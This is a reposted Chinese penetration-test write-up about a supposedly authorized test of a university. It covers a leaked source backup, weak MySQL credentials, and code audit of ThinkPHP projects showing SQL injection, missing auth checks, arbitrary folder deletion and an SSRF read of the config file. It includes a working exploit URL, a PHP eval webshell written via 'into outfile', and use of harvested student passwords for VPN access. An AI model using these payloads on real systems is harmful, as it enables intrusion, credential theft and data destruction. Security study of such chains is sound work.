网安教育
培养网络安全人才
技术交流、学习咨询
这是一次针对某高校的授权安全测试，只给了目标学校的名字，所有资产自行收集。
信息收集无非老三样，百度、子域名、C端。
通过百度，我们找到了目标学校的域名example.edu.cn，首先使用百度搜索目标相关站点，尝试发现脆弱站点。
接下来利用railgun对各个域名进行目录扫描，结果收获不小。
很意外的扫描发现某站点存在备份文件泄露的问题，网站源码被打包后存放在根目录下/www.rar。
下载以后得到了如下源码
其中压缩包里打了三个名字很奇怪的文件，想想就觉得可疑。打开以后可以发现这是通过phpmyadmin全局日志备份拿到的webshell
复制链接放入菜刀拿到shell
1
结束
不行，shell被删掉了。
而网站其他目录是两个thinkphp框架的公众号后端以及一个phpmyadmin。
我们可以从thinkphp数据库配置文件读到mysql账号信息，为root/root。登录phpmyadmin导出文件拿到shell
2
结束
当然不行，网络管理员还是挺称职的（除了源码备份留到根目录）。他发现根目录的webshell以后，分析出黑客是通过mysql弱口令进入phpmyadmin拿到webshell，于是修改了mysql密码。
至此，我们渗透目标站点只有一条思路--->审计代码。
3
项目一
项目一只有两个API调用，项目路由如下
0x00 SQL注入
首先我们查看一下thinkphp版本。
3.1.3除了注入不存在RCE以及其他威胁安全的漏洞。
我们需要具体去看MVC中controller的实现来发现问题。
目标站点的两个wx_xxxx_rtm是两个不同的thinkphp项目，其中interface为接口，只有两个Controller
1<?php //indexController
2class IndexAction extends PublicAction{
3 // 首页
4 public function index () {
5 $cate = new Model("content");
6 $sql = "Select c.CONTENT_ID,c. SORT_DATE ,a.TITLE, a.AUTHOR, a.RELEASE_DATE,b.TXT from jc_content c left join jc_content_ext a on a. CONTENT_ID =c. CONTENT_ID left join jc_content_txt b on b. CONTENT_ID =c. CONTENT_ID where c. CONTENT_ID in (select CONTENT_ID from jc_content_channel where channel_id in (75,76)) and c.status=2 order by c. SORT_DATE desc";
7 echo json_encode($cate->query($sql));
8 }
9 public function content () {
10 $id = $_GET['id'];
11 $cate = new Model("content");
12 $sql = "Select c.CONTENT_ID,c. SORT_DATE ,a.TITLE, a.AUTHOR, a.RELEASE_DATE,b.TXT from jc_content c left join jc_content_ext a on a. CONTENT_ID =c. CONTENT_ID left join jc_content_txt b on b. CONTENT_ID =c. CONTENT_ID where c.CONTENT_ID=".$id." and c.status=2 order by c. SORT_DATE desc";
13 echo json_encode($cate->query($sql));
14 }
15}
16
可以很清楚的看到content方法直接把id拼入sql查询语句，存在sql注入。当然我们不只想要sql注入，很多时候加盐就能解决很多问题。
0x01 难以利用的请求伪造
而publicAction包含几个工具函数
1private function httpGet($url) {
2 $curl = curl_init();
3 curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
4 curl_setopt($curl, CURLOPT_TIMEOUT, 500);
5 curl_setopt($curl, CURLOPT_URL, $url);
6 curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
7 curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
8
9 $res = curl_exec($curl);
10 if ($res === FALSE) {
11 echo "cURL Error: " . curl_error($curl);
12}
13 curl_close($curl);
14 return $res;
15 }
其中httpGet函数很明显，存在csrf漏洞。但因为被private修饰，没办法直接调用。跳过
4
项目二
项目二使用了同样的thinkphp版本，但包含了完善的前台、后台、API等功能，猜测很大概率存在一定漏洞。
项目结构如下
0x00 未授权访问
阅读代码可以发现这个系统的开发者似乎并不理解thinkphp的权限验证模式。
通常来说，thinkphp在需要权限验证的模块会创建一个基类，在基类初始化的方法中验证用户权限。我们只需要让需要权限验证的类继承该权限验证类即可。而这个开发者似乎并不能始终记住这一点。
1class PublicAction extends Action {
2 //验证登陆的初始方法
3 public function _initialize () {
4 $name = session("name");
5 if(!$name){
6 $this->redirect('Admin/Index/login');
7 }
8 }
我们可以看到他定义了相关的权限验证基类，但是实际上在后台某些模块并没有继承该类。
1class AdminUserAction extends PublicAction
2class CommentAction extends Action
3class NewsAction extends Action
4class OrderAction extends Action
5class SystemAction extends Action
6 ...
有很多类都没有使用权限验证，造成了未授权访问
0x01任意文件删除
在admin模块下的SystemAction模块存在删除文件夹方法
1public function rmdirr($dirname) {
2 if (!file_exists($dirname)) {
3 return false;
4 }
5 if (is_file($dirname) || is_link($dirname)) {
6 return unlink($dirname);
7 }
8 $dir = dir($dirname);
9 if($dir){
10 while (false !== $entry = $dir->read()) {
11 if ($entry == '.' || $entry == '..') {
12 continue;
13 }
14 //递归
15 $this->rmdirr($dirname . DIRECTORY_SEPARATOR . $entry);
16 }
17 }
18 $dir->close();
19 return rmdir($dirname);
20 }
该方法是一个public方法，可以直接被外部访问。我们通过未授权可以删除目标站点的文件夹。
0x02 请求伪造
在index/PublicAction/定义了几个调用CURL的助手函数，并且为public属性，直接导致了CSRF漏洞。
1public function getCurl ($url) {
2 //初始化
3 $ch = curl_init();
4 //设置选项，包括URL
5 curl_setopt($ch, CURLOPT_URL, $url);
6 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
7 curl_setopt($ch, CURLOPT_HEADER, 0);
8
9 //执行并获取HTML文档内容
10 $output = curl_exec($ch);
11
12 //释放curl句柄
13 curl_close($ch);
14
15 //返回获得的数据
16 return $output;
17 }
18 //curl模拟post请求
19 public function postCurl ($url,$post_data) {
20
21
22
23 $ch = curl_init();
24
25 curl_setopt($ch, CURLOPT_URL, $url);
26 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
27 // post数据
28 curl_setopt($ch, CURLOPT_POST, 1);
29 // post的变量
30 curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
31
32 $output = curl_exec($ch);
33 curl_close($ch);
34
35 //打印获得的数据
36 print_r($output);
37 }
38 //模拟登录
39 function login_get($url, $cookie) {
40 $curl = curl_init();//初始化curl模块
41 curl_setopt($curl, CURLOPT_URL, $url);//登录提交的地址
42 curl_setopt($curl, CURLOPT_HEADER, 0);//是否显示头信息
43 curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);//是否自动显示返回的信息
44 curl_setopt($curl, CURLOPT_COOKIEJAR, $cookie); //设置Cookie信息保存在指定的文件中
45 curl_exec($curl);//执行cURL
46 curl_close($curl);//关闭cURL资源，并且释放系统资源
47 }
48 //登录成功后获取数据
49 function get_content($url, $cookie) {
50 $ch = curl_init();
51 curl_setopt($ch, CURLOPT_URL, $url);
52 curl_setopt($ch, CURLOPT_HEADER, 0);
53 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
54 curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie); //读取cookie
55 $rs = curl_exec($ch); //执行cURL抓取页面内容
56 curl_close($ch);
57 return $rs;
58 }
其中只有postCurl会将访问结果打印出来，我们于是可以调用postCurl方法利用伪协议读取任意文件。当然首先目标就是database config。
目标要求传入两个参数url、postdata，我们都可以通过get方法把数据提交，最终构造EXP如下
1http://*.*.*.*/wx_xxxxxx_rtm/index.php/Index/Search/postcurl?url=file://D:WWWwx_xxxxxx_rtmAppConfconfig.php&post_data=1
2//伪协议可以使用相对路径，使用绝对路径是因为最开始调试时存在莫名问题未能成功。绝对路径利用thinkphp debug模式的报错拿到。
1'DB_USER' => 'root', // 用户名
2 'DB_PWD' => '123456789@abc', // 密码
拿到数据库密码进入phpmyadmin直接查询select '<?php eval($_GET[0]);?>' into outfile 'D:\WWW\1.php';拿到shell
5
后续
目标站点的web服务为system权限，但始终无法上线CS（已经免杀），只能换条路进行内网渗透。
数据库发现了一些学生用户的明文密码，利用学生用户密码我们登录进VPN。发现VPN没有进行任何的隔离，可以直接对整个学校内网进行渗透，具体便不再细谈。
文：popstack
转自：https://xz.aliyun.com/t/8664#toc-0
如有侵权请联系删除
战疫期间，开源聚合网络安全基础班、实战班线上全面开启，学网络安全技术、升职加薪……有兴趣的可以加入开源聚合网安大家庭，一起学习、一起成长，考证书求职加分、升级加薪，有兴趣的可以咨询客服小姐姐哦！
加QQ（1005989737）找小姐姐私聊哦
本文始发于微信公众号（开源聚合网络空间安全研究院）：【实例剖析】记一次通过代码审计完成的渗透
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论